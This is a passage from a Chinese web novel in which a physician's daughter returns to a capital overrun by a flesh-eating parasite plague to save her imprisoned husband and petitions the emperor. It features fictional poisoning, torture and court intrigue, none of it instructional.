慕容韫玉一把抱住她。而后目光复杂的看向萧远峥,二人四目相接,慕容韫玉微点了下头,萧远峥垂下了眼。 “我们走,再也不回来了。” 说着话,慕容韫玉抱起慕容鸾音就大步而去。 厅上,萧远峥抬眼目送,直至看不见他们了,一低头就吐出一口血来。可他心中却在想,我怎么可能不见你呢,可见你的梦是假的,你冤枉我,阿音妹妹。 主子主母吵架,仆婢人等都避的远远的,不敢看不敢听。洛淑仪趁隙,悄悄的走到萧远峥身畔,瞥一眼地上的血倒吸一口凉气,忙忙的提起茶壶倒出一杯茶来,艳丽的红指甲不经意的往茶水里浸了浸,就操着小心翼翼又温柔的嗓音开口道:“隐隐听见你们吵架,我就走来瞧瞧,谁知你竟吐血了,究竟是为了……啊——” 萧远峥蓦地打掉洛淑仪手里的茶杯,一手掐住她的脖子,一手捏住她的手掌,冷冷道:“你以为我心神失守了是吗?洛雄才约见你,原来是让你给我下毒。” 洛淑仪眼珠凸起,浑身颤抖,“没、没有,你冤枉我了。” 萧远峥将洛淑仪推倒在地,重新倒出一杯茶水来,捏着她艳丽厚实的指甲在茶水里搅了搅,随即捏开她的嘴就灌了进去。 “到了这个时候,我不耐烦听你的狡辩,你这指甲上到底涂了什么东西你自己慢慢品尝。” 洛淑仪被迫喝下茶水后,满眼都是惊恐,开始拼命抠自己嗓子眼,连声咳嗽、呕吐。 萧远峥见状,心中只剩对她的厌恶,当即唤人进来把她拖拽了出去。 却说慕容鸾音,被慕容韫玉抱上马车后,靠在自家哥哥怀里一边流泪一边倾诉羞愤与委屈,“他竟说我离不开他,可笑,我早已不是从前的我,他以为他是什么,还说我口口声声和离是为了博取他的关注,放屁!我早就想和离,此番正合我意!” 慕容韫玉轻抚她的脊背,安慰道:“合你心意便好,以后你们不会再见了。” 彼时,马车正经过繁华的街市,人群忽的出现了骚动,一个头戴四方巾的书生忽的冲向屠户的肉摊子,抓起生肉就大口啃食起来,引得旁边本想买肉的抱娃妇人失声大叫。 她一叫,吓得她怀里的婴孩哭啼起来,正在吃生肉的书生蓦地抬起一双赤红的眼来,张着两手就向她怀里抓去。 妇人惊恐,抱着孩子就跑,边跑边喊救命。 车内,慕容鸾音听到慕容韫玉说“你们不会再见了”,忽觉这话可疑,此时又听见车外尖利的求救声,人群骚乱的嘈杂声,立时就要去掀帘子。 慕容韫玉一把压下她的手,将她箍在怀里,另外一只手里不知何时多了一块湿润的帕子,迅雷不及掩耳就捂住了她的嘴。 慕容鸾音蓦地睁大眼,揪着他的衣领剧烈挣扎。 慕容韫玉狠着心把她死死按在怀里,低声道:“哥哥不会害你,睡一觉吧。” 这边厢慕容韫玉按计划,带着全家逃出京城。那边厢,萧远峥穿戴好官袍,踏入宫门之后,萧远峰亦遵从萧远峥的命令,遣散众仆,带着萧家众人,轻车简从,逃了。偌大国公府,只剩下黑伯守着萧长生,以及被关在绛仙阁的洛淑仪。 彼时,京城各大城门口,有马车车队行驶而出,络绎不绝。京城之外的官道上,萧远峰的车队赶上了慕容家的车队,两家一前一后,相互照应。 不知不觉,日暮将至,两家商议,便在郊野驻扎下来,升起篝火,埋锅造饭。 慕容家这边,粳米粥一熬好,慕容韫玉就盛成一碗来走向一辆锦绸璎珞车。 在车旁里守着的冬青就赶忙迎上来低声道:“大爷,我们姑娘怎么还没醒?” 慕容韫玉心想,自己只在帕子上抹了一点迷药,论理该醒了才是。 想到此处,将粳米粥塞到冬青手里,连忙登上马车查看,却见躺在被褥里的慕容鸾音,双目紧闭,却泪流不止。 她已经很久没做梦了,可这一次她清晰的知道自己穿进了梦境中,像一个看客一样看着在静园里发生的一切。 当年萧长生为了锻炼萧远峥的武技,在地下建造了一座斗兽场,入口在假山洞内,彼时,观棋正守着山洞口,坐在石墩子上垂泪。 忽的,南柯脸色惨白的跑了来,带着哭腔道:“冬青、冬青发疯,偏要硬闯,撞到阎大忠的刀上,死了,这可怎么办啊。” “死了好,早死早解脱。一旦国公爷撑不住,咱们府上也是要沦陷的,咱们都得死。” 南柯听了不再言语,蹲在观棋脚边小声哭道:“国公爷怎么样了?” “鹤顶红也快压制不住了。” “观棋,上回表姑娘来说,皇帝老爷和满朝大臣都在吃人,只要吃了人肉,就不会痛苦,还能越来越年轻,咱们国公爷何苦呢。” 观棋一脚将南柯踹翻,咬牙切齿道:“蠢货,那些大人吃的是什么人,是你我!” 这时,洞内传来了低沉浑厚的钟声,观棋南柯连忙各自擦干净脸上的泪,前后脚走了进去。 地下,曾经关着老虎的笼子都空了,只其中一个笼子特别,铁链层层加固,牢牢固定在地上,旁边放着一只铜钟。 一只骨瘦如柴的手从铁链缝隙中伸出,正握着铜锤,有气无力的敲打铜钟。 观棋连忙上前,掏出钥匙来,先是把挂在锁链上的三把大锁 打开,而后将缠在门上的锁链一圈一圈的解下来。 一个头发干枯雪白,瘦削孱弱的男子从里面走了出来。 当魂体状态的慕容鸾音看到这一幕,惊在那里,泪水滚滚而下,她想要伸手去摸他的脸,却被一层透明水幕挡着,无论她怎么拍打、撞击,都穿不过去,她只能那么看着一切发生。 “今日她的病情如何?” 南柯正要如实禀报,观棋连忙拦在前头,挤出一个笑来,“还是老样子。若是夫人能想开些,慢慢的就调养好了。” 南柯一听就把头垂的低低的,屏息凝神不敢插言。 萧远峥咳嗽了两声,将涌上喉咙的血水咽下,轻“嗯”了一声。 就在这时,流星霓生一同奔了进来,离着远远的就一起双膝跪地,泪流满面。 观棋心道不好,连忙呵斥,“出去!” 流星哭道:“观棋,夫人去了,如何能再瞒着主子。” 刹那,观棋从头凉到脚,面色惨白,缓缓转头看向萧远峥,只见他向内凹陷的双眼仅有的那一丝光亮熄灭了,变得灰暗死寂。 慕容鸾音就看着他步履蹒跚的向外走去,穿过爬山廊,来到了瑞雪堂。 彼时,瑞雪堂上,哭声一片。 卧房榻上,慕容鸾音看见碧荷茯苓正在擦拭自己的尸体。她的尸体光/裸着,只盖着一张繁花朵朵的红绣被。 萧远峥走进来,他的模样吓的碧荷她们都停止了哭泣。 “都出去。” 声音不大,却透着一股阴森。 碧荷仿佛在这一刻明白了什么,放下白帕子,拉着茯苓退了出去。 萧远峥坐上床榻,把冰冷的尸体紧紧拥在怀里,缓缓开口,“不是故意不见你的,阿音妹妹,别生我的气。” 话落,便伸长胳膊去拿床头柜上的琉璃灯。 水幕后的慕容鸾音忽然意识到什么,拼命拍打,急的跺脚,痛彻心扉,“不要、不要——” 火舌舔上了纱帐,瞬息燃烧起来。 火海中,萧远峥拥着她的尸体,亲吻她的额头,低低的,反反复复的说着“不是故意不见你,别生我的气”。 现实中,原本只是闭目哭泣的慕容鸾音,嘴角溢出血来,把慕容韫玉险些吓死过去,抱着她的肩膀就开始使劲摇晃。 “阿音,阿音快醒过来!” 慕容鸾音蓦地睁开眼,“哇”的一声吐出一大口血,嘴角、下巴、脖子,流的到处都是。 慕容韫玉顿时害怕自责起来,又哭又骂道:“该死的萧远峥,他不说只是迷药吗,怎么毒的你吐起血来。” 跪坐在一侧的茯苓连忙拿帕子给慕容鸾音擦拭,哭道:“姑娘你说句话呀,别吓奴婢。” “原来他不是狠心绝情不见我,而是不敢见我,不能见我……”慕容鸾音泪如雨下,揪着自己心口处的衣襟,急促喘息,“我怎么能猜疑他,我还对他说那些狠话,绝情的话,他该多伤心。” 慕容韫玉听懂了她后面的话,就道:“怪不得你,他那个人多智近妖,又那么了解你,是他故意激怒你的。” 慕容鸾音一把揪住慕容韫玉的衣领子,哭着道:“哥哥,他会被人下食人虫蛊,我要回去找他,要救他!” 慕容韫玉见她除了吐出那一口血,再无别的症状,心中隐约猜出她吐血的缘由,叹口气就道:“这个时候告诉你实话也无妨了。萧远峥带着必死之心,进宫清君侧去了,这会儿要么已经杀了仙主,要么就被禁军围杀死了。你回去也什么都不能挽救了,死心吧。明日一早,我们继续上路,还要祈求漫天神佛,陛下念在萧氏一门的功绩上,只杀萧远峥一人,不牵连我们才好。” “不会的,他不会这么死去,而是被人下了食人虫蛊,我现在才恍然明白,老天让我做那些梦,不是为了让我与他和离,而是要让我去救他,去找出根治这种虫病的药来,这也是我身为医者该去做的事情!” 第73章 第073章陷阱长明殿内,光明…… 长明殿内,光明灿烂。殿外,不远处的月台上,已是烛火映照不到的地方。 明月高悬,月色苍苍,一支禁卫军正在围杀萧远峥。各个军士如狼似虎,却缄默如傀儡。 萧远峥身上的绯红官袍被染成了暗红色,手中长剑卷刃,可他仍旧在战,昂声呼喊,杜鹃啼血般的嗓音,声穿云霄,动人心魄。 “陛下,是人是鬼只在您一念之间,切莫堕入恶鬼的陷阱!” 站在石阶上的洛雄才冷笑,抢过弓箭手手里的弓箭,拉至满月,对准萧远峥的脖子就要射去,他要一箭射穿他的脖子,一箭毙其命! 就在这时,范守君拼了老命的向这边奔来,“陛下口谕,不可伤了他性命。” 洛雄才佯装没听见,顿了一下,蓦地松开手指就让箭射了出去。 范守君又惊又怒,连忙追着箭,看向萧远峥,就见他一个鹞子翻身躲了过去。 范守君放下心来,转身冷冷看着洛雄才,“陛下口谕,世子爷是他看着长大的孩子,如同子侄一般,不能伤其性命,将军方才是走神了,还是故意抗旨?” 洛雄才连忙躬身拱手,慌张道:“萧大人武艺了得,久攻不下,末将站在此处,手指就有些冻僵了。” 范守君冷笑道:“果真天寒地冻吗,我这老身子骨也站在这里试试吧。” 洛雄才越发把腰弓的低低的,赔笑道:“陛下的意思末将明白了,不如用天罗地网活捉,您看如何?” “还不快去。” “是。” 长明殿内,楚永寿扒着铁笼,眼珠子死死盯着坐在龙椅上的长盛帝。 “啧啧啧,皇兄啊,你知道你现在这副样子像什么吗,像在水里泡浮肿了的死尸,你再看看我,血气方刚,一夜御七女都能游刃有余。你来,剖开我的脑子,把里面的长生蛊王引渡到你的身体里,就能返老还童了。你放心,你不会和萧长生一样的,他身体里的不过是低等蛊虫而已,我身体里的这只却是王,凡王者,卧榻之侧岂容他人,故,我身体里只有这一只,且,只有蛊王能真正让你长生不死。你也不要怕吃人,蛊王嘴叼,不吃普通人肉,你只需每月吃一个九月胎便可,未见天日的,不过是一块嫩肉,亦不能称之为人。” “你在引诱朕。” 楚永寿顿时哈哈大笑,笑的眼泪都出来了。 “我当然在引诱你,我这阳谋如何?”楚永寿阴冷的瞪着长盛帝,“当年你用阴谋策反我妻,害我父母惨死,我如今用阳谋复仇,比你高尚多了吧。当年,我竟那般天真,以为向你求饶,你就会念着骨肉亲情,放我们一条生路。可我低估了你的冷血,是我害死了父母,父母惨死才让我看清了你的真面目,你这个冷血绝情的畜生!” “你们谋反,朕要杀你们,自然要赶尽杀绝,不留后患。可如今看着活生生的你,朕却明白了,人算不如天算,冥冥之中命运自有安排。” 楚永寿慢慢瘫坐下来,笑道:“萧长生的那个孙子,鼓吹你是千古一帝,千古一帝可不能吃人,你快把我烧了吧,以彰显你的英明神武,我先走一步,在奈何桥上等你。” 这时,躲在帐幕后的章贵妃走上前来,在长盛帝脚边跪下,轻柔的扶着他的腿,泪眼朦胧的道:“陛下,臣妾听萧大人喊,说这里头有陷阱,臣妾愿意为陛下一试,就像往常为您试毒那样,臣妾甘之如饴,只盼望着您能康健长寿。” 长盛帝大喘一口气,摸了摸章贵妃的脸。 楚永寿阴鸷的看着,又笑道:“这般美貌的贵妃,你多久没用过了,撒尿的时候都能滴到鞋子上吧。哦,我说错了,你现在死尸一般,到了在床榻上屙屎屙尿的地步了吧?” 长盛帝面无表情,微抬手指,便有两个青衣大內侍自帘幕后走出。 “弄下去。” “是。” 天寒地冻,冷月如霜。 马车上传出的争吵声,引得奉命护卫慕容鸾音的赵荆和阎大忠慢慢靠近。 “怎么偏偏又说你那些荒诞的梦,你脑子坏了吗?” 慕容鸾音心里气,却并不在此处争辩,而是直接道:“你怕死,我并不要你送我回去,我带上冬青自己回去!” “是,你不畏死,你铁骨铮铮,可我要苟活着孝敬父母爱护妹妹,你既是我妹妹,我就不会让你去。” 慕容鸾音气的眼睛通红,但此时此境,绝不能被情绪左右,于是想了想,认真道:“哥哥,你还记得咱们家那块御赐的‘神医圣手’牌匾,是哪个皇帝赐的吗?” “前朝皇帝赐的,又如何?” “前朝皇帝赐的,为何今朝的皇帝也认?”慕容鸾音端正坐好,郑重道:“那是因为前朝末年发生瘟疫时,曾祖不曾逃,曾祖手札上,曾祖亲笔写着,若发生瘟疫,连医者也畏惧逃亡,有何脸面再以医者自居,以医术谋生。曾祖研制的药方治好了那场瘟疫,名扬天下,此番功绩保佑着我们家到了今朝,仍旧被认可,特旨代代都可以入太医院。而今到了你我这一代,京城又发生了这种食人虫蛊的瘟疫,我们却要逃?他日我们兄妹死后,有何颜面见曾祖?” “你别拿曾祖压我。”慕容韫玉两臂抱胸,把车门挡的严严实实,冷笑道:“你既说医术,那我也不给你留脸面了。你除了把医书读的好些,治了几年的病?的确,你的金针术陛下也赞过,但除了金针术之外的,你比得上太医院那些积年的老太医吗?整个太医院的人都拿这种虫蛊没办法,偏偏你能?你能个屁。你清醒一点,认清现实,这个时候,萧远峥已经被乱箭射死了!若真像他说的那样,皇帝也成了食人的鬼,那京城就是地狱,你回去做别人餐桌上的肉脍不成?!” 慕容鸾音见他把门堵的死死的,已是没有办法,心里又急又气,扑上去就死命推他,“若果真皇帝也成了食人鬼,那么天下之大,无处不是狩猎场,我们能逃到哪里去,我宁愿同他一起死。哥哥,求你了,成全我。” “逃得一时是一……” 慕容韫玉话没说完,就有一只手从后面蓦地捂住他的嘴,把他整个人抱了下去。 慕容鸾音定睛一看,却是赵荆与阎大忠。 “主母说的好,若皇帝也成了食人鬼,天下之大,无处不是狩猎场!主母,吾二人本就是慕主子的青天之名,主动投奔,诚心追随。我们送主母回去,与主子同生共死。” 彼时,阎大忠已经将慕容韫玉劈晕,放到了地上。而赵荆,坐在车板上,已是攥紧了缰绳与马鞭。 慕容鸾音最后看一眼昏厥的慕容韫玉,心中对父母道一声歉,毅然道:“我们回去,去找他。” 赵荆大喜,当即策马驱车。 阎大忠翻身上马,在前面引路。 冬青茯苓二人,原本被赶下马车就候在不远处,甫一瞧见这番变故,冬青就赶忙攀着车柱一跃跳上了前面的车板,一头撞进车厢里去了。 茯苓倒是也想爬上车去,奈何腿脚不争气,紧追了两步就被积雪覆盖的野草根绊了一跤。 与此同时,郧国公府,静园,地下斗兽场。 萧远峥被戴上了手镣脚铐,用一根锁链吊在了虎笼内,脚尖触地,血水滴答。他头上的发冠已被劈成两半,落在了长明宫内,此时乌发覆面,头颅低垂,呼吸微弱的像是即将死去。 洛淑仪挎着一个小食盒,迈着淑女碎步悄悄走了进来。甫一瞧见萧远峥如今的惨状就笑了。 她走近虎笼,把食盒放在地上,捧出一碗血汤,脸上笑着,蓦地捏开萧远峥的嘴就猛地给他灌了进去。 萧远峥嚯然睁眼,可已经来不及,下意识的吞咽,血汤就顺着他的喉管,流进了肚子。 洛淑仪见状,嘴巴越咧越大,笑道:“你灌我一回,我就灌你一回,公平吧,可你知道我们喝下的是什么吗?是虫卵,食人虫卵,发病很快的,拜你所赐,我已经尝过万蚁噬心的滋味了,现在轮到你了。我可以好心的告诉你,吃生肉喝血就可以安抚,我原本很害怕,可是一想到我们成了同类,表哥,我就不害怕了,你瞧,我早就说过,我们才是天造地设的一对。” “滚!” “啪!” 几乎是萧远峥厌恶的说出“滚”字的同时,洛淑仪就怨毒的回击了一巴掌。 洛雄才不知何时出现在洛淑仪身后,故作惊讶的质问道:“你给他喝了什么?” 洛淑仪肩膀一缩,畏惧的看洛雄才一眼,“父亲,是您给的药粉,上回我没做成让您失望了,这回成了。” “我何曾给过你什么药粉,胡闹,滚出去。” 洛淑仪脸上因怨毒愤怒而起的涨红一霎褪去,心中陡然升起一股不祥的预感来。但此时洛雄才喝令她出去,她不敢得罪,只得快速跑了。 萧远峥嗤笑,抬眼冷睨洛雄才,“我奉命一直在查白玉京,随着对这个邪教调查的深入,我发现白玉京发展教徒有三个主要的方式,其一,昌乐楼中破尘规,如,在昌乐楼中发现的忠信侯孙澶和他小女儿裸/身同榻,破尘规,破除的是尘世的人伦道德;其二,骏骨楼中诛天骄,所以当之无愧的天骄人物慕容青云被刺死在骏骨楼,因为慕容青云拒绝成为你们的同类;其三……” 洛雄才走向一个灰陶大缸,用铁叉叉出一块肉来,伸进虎笼,逗弄里头趴伏在地的幼虎。脸上露出一抹有恃无恐的笑来,“怎么,失血过多没力气了吗?” 萧远峥缓缓深吸一口气,接着道:“白玉京杀我和我父母,都定在鲸落楼,我一直在想‘鲸落’二字是怎么对应上我和父亲的,我和父亲有什么呢,有爵位有权势,‘鲸’即大鱼,大鱼死王侯薨,一个王侯死了,他的权势地位会被继承、被瓜分。那么我和父亲对应上的应当就是‘鲸落楼中分鲸肉’,我父亲死了,谁瓜分了他的军权?占去了最大的好处?” 洛雄才叹服,笑道:“没错,是我。是我主动找上了白玉京,请求他们的帮助,制造了不在场证明,可我人虽然不在那里,但却是我在幕后策划的一切。我曾是你父亲的伴读,深知你父亲对你母亲的感情是怎样的,又知道你母亲爱吃河豚,这才有了那场完美的谋杀。” “我审过很多案子,深谙人性的黑暗,已经可以做到不起波澜,可听到你亲口承认谋杀了我父母时,还是恨不得杀了你!” 洛雄才转身,将铁叉扔进陶缸,背手在后,慢悠悠走向萧远峥,看着他笑道:“以你之能,一旦脱身,自然能杀我,但我不会给你这个机会。你吞了虫卵,你会吃人吗?你吃了人就和我一样了,有什么脸,举着正义之剑杀我?” 萧远峥冷笑道:“在长明宫你就想趁势杀我而没成,现在这里只有你我二人,何不拿起铁叉,将我杀了永绝后患?你在顾虑什么?” 洛雄才收起笑,冷冷道:“别急,有你死的时候。” 第74章 第074章赌一把善念…… 却说慕容鸾音一行人返回京城时,天已经亮了。把守城门口的人换成了慕容鸾音曾在长明殿外见过的“铁傀儡”,原来这支禁军叫做铁甲军,是由陛下亲自统领的。 自昨日铁甲军接管城门起,京城只许进不许出。 原本,慕容鸾音他们一回京城就直奔郧国公府,却发现门口有鹰扬卫的卫士把守。 慕容鸾音记得,鹰扬卫是洛雄才统领的禁军。打听后方知道了一点信息,萧远峥不知何故惹怒了陛下,被陛下下旨圈禁府中,闭门思过。 慕容鸾音一听只是圈禁,喜极而泣,这说明陛下舍不得杀他,还有希望。她必须见他一面,问清楚,才知道下一步该怎么做。 从正门进是不可能了,也会打草惊蛇。但这难不倒她,她小时候就从狗洞爬进静园给萧远峥送过糕点了。 于是,和赵荆等人一起绕到西北角山坡上,这个山坡也是郧国公府买下的,栽种了一片竹林,只因静园养虎 ,怕虎啸声惊扰了旁人惹出不必要的事端来,萧长生就重金买下了那一片地方。 这片竹林连着静园里的竹林,中间有一面高墙,她小时候为了见萧远峥一面,偷偷带着冬青凿出了一个狗洞,后来虽然被萧长生堵上了,但再重新挖开也不是难事。 赵荆阎大忠眼睁睁看着主母带着侍女钻狗洞进去了,他俩就放弃翻墙也想跟着钻洞,奈何那洞太小,他俩体格太壮,只好还是翻墙进去了。 墙内相见,慕容鸾音羞愧的脸红了一下,而后赶紧环顾四周,却见满园静悄悄的,没有一个人。 慕容鸾音心里一疼,便猜测梦境成真,当即向假山洞跑去。 地下,烛火昏暗,冰寒刺骨,萧远峥已是奄奄一息,只凭意志撑着一口气。此时,他头脑昏沉,眼前模糊着竟看见裹着绯红莲花斗篷的慕容鸾音向他跑来,泪水涟涟,轻柔的为他拂开脸上的头发,心疼的抚摸他的脸。她的小手温热,有山茶花的清香。 他心想,自己大概真的要死了,这是临死前的幻境。 ——真好啊。 等等,温热?清香? 萧远峥脑子一疼,眼前模糊的视线逐渐清晰,他死寂的心猛地跳动起来,连忙环顾四周,就见赵荆阎大忠冬青就站在不远处,当即咬牙低叱,“你们带她回来的?!” “是我要回来的,你骂我就是。” 此时,慕容鸾音见他身上的官袍破破烂烂,被血浸透,慌忙查看他的伤势,就见已是没有一块好皮,还有几处深可见骨,再若放任不管,在这样寒冷的天气下,他活不过两日。 一下子,她就觉得自己心口抽疼,呼吸不过来了。 “快、快把他放下来。” 赵荆阎大忠连忙准备上前营救,被萧远峥厉声喝退。 萧远峥攒了攒力气,缓声道:“阿音,你听我说,我之所以被圈禁,是因为我进宫要杀那引诱陛下堕魔的仙主,我在长明宫动了刀,但陛下预判了我的行动,我失败了,即便如此,你看,陛下仍旧只是把我圈禁而不是直接赐死,可见陛下仍旧信重我,我此时状况虽惨,但都在我的谋划内,我还有第二个杀仙主的法子,我的人已经在按部就班的执行了,你留在这里只会成为我的累赘,你快先走一步,我随后就去找你,乖乖听话,快走。” “放屁!”慕容鸾音忍着、忍着,可还是带出了哭腔,“你到现在还要哄骗我,你根本没有什么第二个法子了,我若不回来,你撑不过两日就是一具尸体了!” “你……”萧远峥看着她哭红的眼睛,想怒也怒不起来,唯有心疼与焦急,“洛雄才就是谋杀我父母的凶手,此时他应当还在咱们府内,若你被他发现,直接杀了倒还不受罪,就怕他会灌你食人虫卵,快走!” “所以,你已经被他灌了虫卵,是吗?”慕容鸾音看着他蓦地僵住的神情,心中就已经有答案了。此时,反而很平静。 “峥哥哥,如今咱们算是穷途末路了,可我还想赌一把。” 说着话,慕容鸾音自衣襟内掏出了乌银凤鸟宫牌。 萧远峥急道:“不许!” “赌一把我这张肖似祖父的脸,能唤醒陛下和善的那一面。” 萧远峥见慕容鸾音竟天真的去赌一个快要死的皇帝的善念,立时急了,锁链与铁笼碰撞,发出剧烈而急促的咣当声。 “回来!” “峥哥哥,你不顾我的意愿囚我于瑞雪堂时,我也是这样的心情,这回你也尝尝这个滋味。” “阿音——” 长明殿内,楚永寿被从兽笼里拽出,捆在了一张铁椅上,在他身后设着一张大案,上头摆放着斧头、锯子、锤子、凿子,和仵作验尸用的一套器械。 两个太医对着楚永寿的光头交头接耳,时而忧愁,时而恐惧。 楚永寿不仅不恐惧,反而两眼放光,异常欢喜。 月洞窗下,长盛帝背对楚永寿,躺在躺椅上,百无聊赖,在自己胳膊上按下一个肉坑又一个肉坑,这些坑,总是要过好大一会儿才能慢慢的弹回,恢复原样。 章贵妃在旁陪侍,煮茶,时不时心疼的看一眼长盛帝。 就在这时,范守君走了进来,“陛下,慕容大娘求见。” 章贵妃倒茶的动作一顿,缓缓将茶壶放下,起身退避了下去。 “都撤下去吧,别吓着那丫头。” 楚永寿欢喜的神情一下消失,脸拉的比驴还长。 立时便有青衣內侍自帘幕后走出,先将楚永寿带下去,又抬来一扇锦屏将斧头等器械挡了个严严实实。 慕容鸾音进来时,就见那一面落地的月洞窗半开着,长盛帝闭目睡在躺椅上,一半身子在光里,一半在阴影里。 “不是离京了吗,怎么又回来了。” 闻言,慕容鸾音心里就是一惊,连忙上前跪下,扬着脸道:“陛下,上回给您治头疼,您说免了我的一切虚礼,这回,能不能也让我有什么说什么?” 长盛帝睁眼看她,透过她的脸怀念故人,不由得心情都好了许多。 “免。赐座。” “谢陛下。”慕容鸾音心里渐渐升起一点底气来,乖巧的在绣墩上坐下,就道:“我夫君惹您生气了,您除了圈禁他,还嘱咐洛将军做其他事情了吗,比如给他灌食人虫卵?” 长盛帝一窒,眼皮耷拉下来,半响才道:“朕只下旨让他在家闭门思过。” 慕容鸾音一下就哭了,“陛下,我要向您告状,那个洛将军,原本是我夫君的姑丈,后来他背着姑母与人私通,把姑母活生生气死了,然后我们两家就结了仇,他竟趁此机会给我夫君灌了虫卵,挟私报复,陛下,您得罚他。” 长盛帝见她小孩子似的哭闹,就笑起来。 “好,朕罚他。你来见朕,竟只是为了告状吗?” 慕容鸾音连忙道:“陛下恕罪,我钻狗洞进府里去,见过夫君了,夫君身上到处都是血口子,骨头都能看见,他需要大夫,我想请您应允,放我进去给他治伤,若放任他吊在那里,他活不过两日。” “还有吗?” 慕容鸾音赶忙摇头,又使劲点了一下头,“曾祖家训,身为医者,遇见瘟疫就逃,就不配以医术安身立命,所以我又回来了,回来救夫君,还要效仿我家曾祖,找出消灭这种食人虫病的药来。” 长盛帝听了这话,再度定睛看了慕容鸾音许久,心中泛起波澜,不由得就想起与慕容青云的最后一面。 ——“你此去清查人口,丈量田亩,将撬动太多人的利益,怕不怕?” ——“怕。但是陛下,总要有人去,微臣愿往,百死无悔。” ——“朕有你这样的臣子,是朕之幸,重霄你放心去,朕为你撑腰,谁敢动你,朕诛他们九族。” 长盛帝叹了口气,收回目光看向窗外,青天之上,有一行大雁向南飞去。 “你不止容貌像他,连这份纯粹也像极了。守君,去把太清殿呈上来的那份记录手札拿来,给她。” “是。” 这时,又有內侍来禀报,洛雄才求见。 “让他进来。” 慕容鸾音立时坐正身子,愤怒的看向门的方向,却见一个中年男子,老狗一般爬了进来。 慕容鸾音愕然愣在那里。 “陛下,末将有罪,办事不力,致使萧大人被他府中人报复,灌了食人虫卵,求陛下降罚严惩。” 长盛帝依旧看着天空,淡淡道:“是谁报复的?” 洛雄才慌忙道:“是萧远峥自己的表妹。正好,萧远峥之妻,慕容氏也在这里,慕容氏可以作证,这女子名叫洛淑仪,本该是我的长女,但在很多年前就与我断 绝了父女关系,此后就被郧国公府的老夫人接过去教养了。据末将所知,她爱慕萧大人,萧大人与慕容氏成了夫妻,她就因爱生恨,趁末将疏忽给昏迷的萧大人灌下了一碗虫卵水,待得末将察觉去阻止时,已经来不及了。” 慕容鸾音听了他这样一通话,缓缓攥紧拳头。但她知道,此时此境,任何其他都是细枝末节,唯有找出消灭食人虫病的药来,一切才可从源头解决。遂,不动声色忍下了。 “这倒有意思了。慕容丫头,朕是信你还是信他?” 慕容鸾音当即跪下,摇了摇头就道:“陛下睿智,自有判断。而且,夫君已然食用了虫卵,是谁谋害的都不重要了。但求陛下给我一个月的时间,让我试试,倘若我能找到消灭食人虫的办法呢?求您了。” “朕曾承诺保全你祖父,但朕没做到,就补偿在你身上吧。朕就给你一个月,回去给峥儿治伤吧。他的圈禁也解了吧。” 慕容鸾音喜极而泣,她赌赢了,竟然真的赌赢了。 “谢陛下!” 匍匐在地的洛雄才僵了僵,但他却是不怕的,萧远峥既中了虫蛊,食人就是迟早的事,终究会变成和他一样。至于解药,呵,那些老太医都拿食人虫束手无策,她一个内宅妇人算什么东西。 静园,地下斗兽场。 自慕容鸾音带着赵荆等人原路逃走后,他就强撑着一口气在等,他不敢想,倘若慕容鸾音进宫后,见到的是已经引渡了蛊王,变成食人鬼的皇帝,会落到什么下场。他只祈求,慕容鸾音见到的是还没有引渡蛊王的皇帝,那么就还有一丝希望。 他也终于体会到,原来无望的等待是这样煎熬。 洛淑仪正在进食,她把带着血丝的生肉切的薄薄的,一口一口慢慢品尝。 “你很快会发病的,骨头缝里像是有万只蚂蚁在爬,你就会像条狗一样,苦苦哀求我赏你一片肉吃。” 萧远峥一个眼神都不愿意给她,垂下头,闭上眼,等待着。 他这样的态度,终于惹怒了她。 洛淑仪等不得了,捏着一块生肉就往他嘴里塞。 “你给我吃!吃!是你把我变成鬼的,凭什么还这样蔑视我,因为我和父族决裂,没了倚仗,住在你家,就是寄人篱下的可怜虫吗?!我都算计好了的,外祖母那么疼我,一定能让我嫁给你,我早就把国公府当做自己的家,为什么偏要把我嫁出去,为什么就不能给我一个名分!我卑微的去求慕容鸾音那贱人,我愿意做妾,只求一个名正言顺留在这个家里的名分而已,你们却都不满足我,我恨你们!” “你做什么,住手!” 慕容鸾音看到萧远峥被这般折辱,顿时气坏了,一把攥住洛淑仪的手腕,抬手就狠狠给了她一巴掌。 紧接着就将她推倒,怒声道:“把她关起来!” 赵荆阎大忠立即应“是”,把洛淑仪抓起来扔进了一个空笼子里,并上了锁。 洛淑仪有恃无恐,大叫道:“我父亲的鹰扬卫就在外头,我喊人了。” 彼时,赵荆阎大忠正在解吊着萧远峥的锁链,慕容鸾音暂时帮不上忙,就转头看着洛淑仪冷笑道:“喊吧,反正陛下解了我夫君的圈禁,鹰扬卫都撤走了。” “不可能,怎么可能这么轻易就解了……我不信!” “你当真是个可怜虫。你父亲在陛下面前把你卖了,说是你灌了我夫君虫卵水和他无关,还说,他早就和你断绝了父女关系,你算计来算计去,究竟想要什么呢。也或许,是你当年小小年纪就心思恶毒,摔死那个无辜女童的报应吧。” 洛淑仪一下子瘫软了,随着身体里那股撕心裂肺都止不住的痒意再度攀升上来,她绝望了,疯了似的大叫起来,“什么报应,我不认,我也没错。你们明知道我母亲是被洛雄才那老畜生活活气死的,你们却不给她报仇,我只好自己动手,我为母报仇有什么错,我没错!母债女偿,我摔死的不过是个孽障!我想名正言顺的留在这里,你们偏偏违拗我的意思,我只好自己想办法,那老畜生分明说这药粉能让萧远峥听我的话,他骗我,他骗我,你们都该死!” 第75章 第075章相拥萧远峥被救下后…… 萧远峥被救下后就陷入了昏迷,慕容鸾音便再也顾不得其他,直接就让人把洛淑仪锁在了绛仙阁,任凭她喊破喉咙也不许给一点血食。 待得,慕容鸾音给萧远峥清理包扎好全身的伤口,喂了汤药,天就完全黑了下来,一弯新月变作了上弦月。 这时,赵荆和阎大忠抬了一个铜火箱进来,冬青跟在后面,进门就道:“姑娘,奴婢不知静园的银丝炭收在何处了,就回咱们瑞雪堂提了一筐子。” 慕容鸾音给萧远峥掖好锦被,走出卧房就道:“都好,你看着弄便是。” 说着话,脚步匆匆穿过小厅去了书房,在萧远峥的大书案前坐下,就开始翻阅陛下给的那份手札。 萧远峥曾和她说过,陛下把十多个太医关在太清殿,让他们研制解药,想来,这份手札就是这些太医的研究成果。 可是当她翻开第一眼,入目却写着一行朱砂红字:甲字号实验体。 慕容鸾音悚然一惊,连忙定定神,聚精会神看起来。 甲号试验体: 该试验体送来时,已经死亡。我们对其进行解剖,发现虫蛊全部聚集在他的心脏内,呈血红色,与周遭血管极难分辨,十分活跃,取出部分虫蛊留作试验后,又为其缝合,尸体搁置一旁,两日后试验体竟死而复生,咬死了一名药童,随后我们把他关进笼子,继续观察。 乙号试验体:与甲号一同送来,活的,疯魔状。 